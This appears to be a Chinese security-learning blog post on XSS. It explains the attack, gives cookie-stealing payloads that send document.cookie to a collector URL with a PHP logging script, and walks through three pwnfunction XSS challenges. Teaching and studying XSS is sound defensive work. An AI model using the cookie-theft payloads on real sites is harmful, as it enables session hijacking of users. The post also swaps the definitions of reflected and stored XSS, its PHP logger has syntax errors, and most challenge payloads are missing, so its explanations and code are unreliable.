一、XSS相关知识点、
1.什么是xss
XSS也被称为跨站脚本攻击,是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览网页时,恶意代码就会被执行,从而达到攻击的目的。
XSS产生的原因可以简单理解为:由于编写代码的程序员安全意识较薄弱,代码没有过滤用户的正常输入,导致非语句字段输入到系统中引发的问题。
2.xss分类
反射型: 持久型跨站,最直接的危害类型,跨站代码存储在服务器(数据库)
存储型: 最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。
DOM型:DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题,把页面解析成树
3.利用XSS窃取cookie
窃取cookie是xss利用最常见的手段,攻击者有了cookie就相当于拥有了“管理员”身份。通常需要配合xss平台来进行攻击,当被攻击者访问到有恶意代码的页面,他的cookie就会被发送到xss平台。
所以,可以通过以下js代码获取
<img src="http://localhost/XSS_cookie.php?cookie='+document.cookie"></img>
<script>new Image().src="http://localhost/XSS/xss_cookie.php?cookie="+document.cookie;</script>
以及本地的php后缀文件内容
<?php
$cookie=&_GET['cookie'];
&log=fopen("cookie.txt","a");
fwrite($log,$cookie."\n");
fclose($log);
?>
二、XSS例题
网址:https://xss.pwnfunction.com/
例题1
题目要求,用户不能自己输入,不能使用上面格式方法,要在谷歌浏览器进行测试;
可以看到是采用innerHTML输入
尝试用
进行输入
![在这里插入图片描述](https://img-blog.csdnimg.cn/57cbb2327570433784a9aa2f87f6a0d7.png)
可以发现出现在html上
直接使用
官方提出了由于安全问题,script标签被禁用,所以这里代码会显示在html上,未能成功触发
于是我们可以换个标签,改用img使用,可以看到成功触发了
例题2
要求依旧是触发弹窗,查看下面代码可以发现get获取jeff放在了一个模板字符块儿里,然后进行输出
开始测试
可以看出输入被放入下面字符串中,通过执行得出,我们输出什么,代码就会替代掉jeff后输出
所以我们从eval语句入手,要办法从字符串中脱离出来
可以想办法把里面的换成以下格式就能有输出了
使用+连接符进行尝试
带入题目
注意要将+转义成%2b进行输出
测试:
例题3
代码过滤了<>,是为了防止用户闭合,以免传入恶意代码
尝试输入可以发现传入到了div中
想到了使用onclick事件去触发
成功触发,但是不符合要求,需要点击对话框,
input 标签有一个autofocus属性,需要采用onfocus事件,就能不点击即可触发
测试: